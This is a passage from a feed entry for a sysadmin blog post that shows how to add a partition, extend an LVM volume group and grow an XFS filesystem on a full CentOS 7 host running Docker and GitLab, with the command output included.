naming   <span class="o">=</span>version 2              <span class="nv">bsize</span><span class="o">=</span>4096   ascii-ci<span class="o">=</span>0 <span class="nv">ftype</span><span class="o">=</span>1
log      <span class="o">=</span>internal               <span class="nv">bsize</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>2560, <span class="nv">version</span><span class="o">=</span>2
         <span class="o">=</span>                       <span class="nv">sectsz</span><span class="o">=</span>512   <span class="nv">sunit</span><span class="o">=</span>0 blks, lazy-count<span class="o">=</span>1
realtime <span class="o">=</span>none                   <span class="nv">extsz</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>0, <span class="nv">rtextents</span><span class="o">=</span>0
data blocks changed from 5814272 to 26784768
</code></pre></div></div>

<p>Check the use % change:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">df</span> <span class="nt">-h</span>

Filesystem                       Size  Used Avail Use% Mounted on
/dev/mapper/centos_centos7-root  103G   23G   80G  22% /
devtmpfs                         4.8G     0  4.8G   0% /dev
tmpfs                            4.9G  8.0K  4.9G   1% /dev/shm
tmpfs                            4.9G  490M  4.4G  10% /run
tmpfs                            4.9G     0  4.9G   0% /sys/fs/cgroup
/dev/sda1                       1014M  147M  868M  15% /boot
overlay                          103G   23G   80G  22% /var/lib/docker/overlay2/02bc5da772bd1b882950b843d7a235e873b59de343ee30bb2a71df4cb0a51b3b/merged
</code></pre></div></div>

<h1 id="gitlab-error">Gitlab Error</h1>

<blockquote>
  <p>Failed opening the RDB file dump.rdb (in server root dir /var/opt/gitlab/redis) for saving: No space left on device</p>
</blockquote>]]></content><author><name>Josh Nutt</name></author><summary type="html"><![CDATA[There are several guides on how to extend logical volume space, but nothing showing what to do if your virtual group and logical volume is full. create partition fdisk /dev/sda command (m for help): n command (m for help): p First sector (93634560-314572799, default 93634560): Last sector, +sectors or +size{K,M,G} (93634560-314572799, default 314572799): Create a physical volume from the partition lvm pvcreate /dev/sda3 My drive was too full to do the extension, so I deleted some old logs. Extend vg vgextend centos_centos7 /dev/sda3 The logical volume was too full, and the +100%FREE was not working lvextend -An -r -L +10g /dev/centos_centos7/root Once the LV was extended a bit I could extend the rest of the way lvextend /dev/centos_centos7/root -l+100%FREE Extend XFS df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/centos_centos7-root 23G 23G 20K 100% / devtmpfs 4.8G 0 4.8G 0% /dev tmpfs 4.9G 8.0K 4.9G 1% /dev/shm tmpfs 4.9G 490M 4.4G 10% /run tmpfs 4.9G 0 4.9G 0% /sys/fs/cgroup /dev/sda1 1014M 147M 868M 15% /boot overlay 23G 23G 20K 100% /var/lib/docker/overlay2/ 100% full on overlay. We need to extend the XFS file system -n shows the xfs file data, and does not extend. xfs_growfs -n /var/lib/docker/ meta-data=/dev/mapper/centos_centos7-root isize=512 agcount=8, agsize=798208 blks = sectsz=512 attr=2, projid32bit=1 = crc=1 finobt=0 spinodes=0 data = bsize=4096 blocks=5814272, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=1 log =internal bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 no flag, extends, note the blocks changing. xfs_growfs /var/lib/docker/ meta-data=/dev/mapper/centos_centos7-root isize=512 agcount=8, agsize=798208 blks = sectsz=512 attr=2, projid32bit=1 = crc=1 finobt=0 spinodes=0 data = bsize=4096 blocks=5814272, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=1 log =internal bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 data blocks changed from 5814272 to 26784768 Check the use % change: df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/centos_centos7-root 103G 23G 80G 22% / devtmpfs 4.8G 0 4.8G 0% /dev tmpfs 4.9G 8.0K 4.9G 1% /dev/shm tmpfs 4.9G 490M 4.4G 10% /run tmpfs 4.9G 0 4.9G 0% /sys/fs/cgroup /dev/sda1 1014M 147M 868M 15% /boot overlay 103G 23G 80G 22% /var/lib/docker/overlay2/02bc5da772bd1b882950b843d7a235e873b59de343ee30bb2a71df4cb0a51b3b/merged Gitlab Error Failed opening the RDB file dump.rdb (in server root dir /var/opt/gitlab/redis) for saving: No space left on device]]></summary></entry></feed>